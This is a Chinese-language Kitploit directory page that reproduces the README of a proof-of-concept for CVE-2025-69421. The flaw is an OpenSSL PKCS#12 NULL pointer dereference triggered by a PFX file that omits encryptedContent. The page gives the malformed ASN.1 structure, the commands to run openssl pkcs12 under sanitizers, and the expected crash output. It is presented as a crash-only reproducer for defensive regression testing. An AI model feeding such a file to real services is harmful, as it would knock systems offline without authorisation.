Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PoC-CVE-2025-69421 — CVE-2025-69421 的最小复现器,演示了通过缺少 encryptedContent 字段的畸形 PFX 文件在 OpenSSL PKCS#12 处理中导致空指针解引用。包括生成脚本、ASN.1 检查和 UBSan 触发的崩溃输出,用于防御性回归测试。 | Kitploit
工具/GitHubGitHub/kha-beleh/poc-cve-2025-69421
漏洞分析漏洞利用模糊测试密码学二进制分析学习与教育
GitHubkha-beleh/poc-cve-2025-69421

PoC-CVE-2025-69421

CVE-2025-69421 的最小复现器,演示了通过缺少 encryptedContent 字段的畸形 PFX 文件在 OpenSSL PKCS#12 处理中导致空指针解引用。包括生成脚本、ASN.1 检查和 UBSan 触发的崩溃输出,用于防御性回归测试。

查看仓库
11个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-69421 仅崩溃复现器

本仓库包含一个最小的畸形 PKCS#12 文件,可在隔离的实验室环境中复现 CVE-2025-69421。

生成的 PFX 包含 EncryptedData,其 EncryptedContentInfo 省略了可选的 encryptedContent 字段。易受影响的 OpenSSL 版本可能会将 NULL ASN1_OCTET_STRING 指针从 PKCS12_unpack_p7encdata() 传递给 PKCS12_item_decrypt_d2i_ex(),而后者在未进行 NULL 检查的情况下解引用该指针。

此复现器仅演示拒绝服务(Denial-of-Service)条件,不执行代码,也不泄露信息。

仓库内容

root@kitploit:~
.
├── README.md
├── LICENSE
├── Makefile
├── generate.py
├── run.sh
├── malformed-cve-2025-69421.p12
└── evidence
    └── ubsan-output.txt

环境要求

  • Python 3
  • 使用 UBSan 或 ASan/UBSan 编译的易受影响 OpenSSL 构建
  • 确认复现时使用 OpenSSL 3.0.7

运行 PoC 前先设置构建目录:

root@kitploit:~
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"

OPENSSL_BUILD 必须包含易受影响的 libcrypto.so.3 以及与之匹配的 apps/openssl 二进制文件。

生成畸形 PKCS#12 文件

仓库已包含预生成的文件。如需重新生成:

root@kitploit:~
python3 generate.py

输出为:

root@kitploit:~
malformed-cve-2025-69421.p12

检查 ASN.1 结构

root@kitploit:~
openssl asn1parse \
  -inform DER \
  -in malformed-cve-2025-69421.p12 \
  -i

相关结构如下:

root@kitploit:~
PFX
├── version = 3
└── authSafe: ContentInfo(data)
    └── OCTET STRING
        └── AuthenticatedSafe
            └── ContentInfo(encryptedData)
                └── EncryptedData
                    ├── version = 0
                    └── EncryptedContentInfo
                        ├── contentType = data
                        ├── algorithm = pbeWithSHA1And3-KeyTripleDES-CBC
                        └── encryptedContent = absent

运行复现器

使用辅助脚本:

root@kitploit:~
export OPENSSL_BUILD=/path/to/openssl-build
./run.sh

等效的手动命令:

root@kitploit:~
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"

ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
LD_LIBRARY_PATH="$OPENSSL_BUILD" \
"$OPENSSL_BIN" pkcs12 \
  -in malformed-cve-2025-69421.p12 \
  -info \
  -noout \
  -passin pass:test

在易受影响构建上的预期结果

root@kitploit:~
Warning: MAC is absent!
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1
crypto/pkcs12/p12_decr.c:140:66: runtime error: member access within null pointer of type 'const struct ASN1_OCTET_STRING'
    #0 0x... in PKCS12_item_decrypt_d2i_ex (/path/to/openssl-build/libcrypto.so.3+0x...)
    #1 0x... in PKCS12_unpack_p7encdata (/path/to/openssl-build/libcrypto.so.3+0x...)
    #2 0x... in dump_certs_keys_p12 (/path/to/openssl-build/apps/openssl+0x...)
    #3 0x... in pkcs12_main (/path/to/openssl-build/apps/openssl+0x...)

重要指标如下:

root@kitploit:~
member access within null pointer
PKCS12_item_decrypt_d2i_ex
PKCS12_unpack_p7encdata

在已修复构建上的预期结果

已修复的 OpenSSL 构建应拒绝畸形输入,且不会触发 sanitizer 报告或进程崩溃。错误信息可能包含:

root@kitploit:~
PKCS12_item_decrypt_d2i_ex:passed a null parameter

技术摘要

root@kitploit:~
CVE: CVE-2025-69421
Component: OpenSSL PKCS#12 processing
Trigger: EncryptedData with absent encryptedContent
Fault: NULL pointer dereference
Function: PKCS12_item_decrypt_d2i_ex()
Reachable through: PKCS12_unpack_p7encdata()
Impact: Denial of Service

免责声明

请仅在您拥有或明确获授权测试的系统上使用此复现器。所包含的产物仅用于防御性验证和回归测试。

下载工具